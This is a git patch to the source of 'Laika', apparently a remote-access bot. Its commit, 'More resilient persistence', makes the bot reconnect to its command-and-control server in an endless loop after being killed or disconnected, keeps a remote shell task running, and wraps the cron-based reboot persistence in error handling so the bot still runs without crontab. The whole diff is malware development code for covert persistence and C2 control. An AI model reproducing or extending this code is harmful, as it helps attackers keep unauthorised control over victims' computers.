From 59c01d422b6a9789e0879a98b1acd95525903f39 Mon Sep 17 00:00:00 2001 From: CPunch Date: Sun, 10 Apr 2022 15:45:30 -0500 Subject: [PATCH] More resilient persistence - bot will keep trying to connect if it failed to connect to the CNC or if the bot was killed - if crontab isn't installed the bot will still run --- bot/include/persist.h | 6 ------ bot/lin/linpersist.c | 20 +++++++------------- bot/src/main.c | 41 +++++++++++++++++++++++++++-------------- bot/win/winpersist.c | 10 ---------- 4 files changed, 34 insertions(+), 43 deletions(-) diff --git a/bot/include/persist.h b/bot/include/persist.h index 161fc24..de90c8e 100644 --- a/bot/include/persist.h +++ b/bot/include/persist.h @@ -9,12 +9,6 @@ #include -/* check if laika is already running */ -bool laikaB_checkRunning(void); - -/* check if laika is already installed on current machine */ -bool laikaB_checkPersist(void); - /* check if laika is running as super-user */ bool laikaB_checkRoot(void); diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c index 49686b5..8dea982 100644 --- a/bot/lin/linpersist.c +++ b/bot/lin/linpersist.c @@ -20,16 +20,6 @@ static struct sLaika_socket laikaB_markerPort; -/* check if laika is already running */ -bool laikaB_checkRunning() { - return true; /* stubbed for now */ -} - -/* check if laika is already installed on current machine */ -bool laikaB_checkPersist() { - return true; /* stubbed for now */ -} - /* check if laika is running as super-user */ bool laikaB_checkRoot() { return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */ @@ -133,9 +123,13 @@ void laikaB_tryPersist() { LAIKA_DEBUG("Successfully installed '%s'!\n", installPath); - /* enable persistence on reboot via cron */ - if (!checkPersistCron(installPath)) - tryPersistCron(installPath); + LAIKA_TRY + /* enable persistence on reboot via cron */ + if (!checkPersistCron(installPath)) + tryPersistCron(installPath); + LAIKA_CATCH + LAIKA_DEBUG("crontab not installed or not accessible!") + LAIKA_TRYEND #endif } diff --git a/bot/src/main.c b/bot/src/main.c index 9ca0742..0d48c9b 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -17,26 +17,39 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo } int main(int argv, char *argc[]) { - struct sLaika_bot *bot = laikaB_newBot(); + struct sLaika_bot *bot; /* install persistence */ laikaB_tryPersist(); - /* init task service */ - laikaT_initTaskService(&tService); - laikaT_newTask(&tService, 100, shellTask, (void*)bot); +#ifdef LAIKA_PERSISTENCE + do { +#endif + bot = laikaB_newBot(); - /* connect to test CNC */ - laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT); + /* init task service */ + laikaT_initTaskService(&tService); + laikaT_newTask(&tService, 100, shellTask, (void*)bot); - /* while connection is still alive, poll bot */ - while (laikaS_isAlive((&bot->peer->sock))) { - if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) { - laikaT_pollTasks(&tService); - } - } + LAIKA_TRY + /* connect to test CNC */ + laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT); + + /* while connection is still alive, poll bot */ + while (laikaS_isAlive((&bot->peer->sock))) { + if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) { + laikaT_pollTasks(&tService); + } + } + LAIKA_TRYEND + + /* bot was killed or it threw an error */ + laikaT_cleanTaskService(&tService); + laikaB_freeBot(bot); +#ifdef LAIKA_PERSISTENCE + sleep(5); + } while (1); +#endif - laikaB_freeBot(bot); - LAIKA_DEBUG("bot killed\n"); return 0; } \ No newline at end of file diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index c619788..a3ae884 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -2,16 +2,6 @@ #include "persist.h" -/* check if laika is already running */ -bool laikaB_checkRunning() { - return true; /* stubbed for now */ -} - -/* check if laika is already installed on current machine */ -bool laikaB_checkPersist() { - return true; /* stubbed for now */ -} - /* check if laika is running as super-user */ bool laikaB_checkRoot() { return true; /* stubbed for now */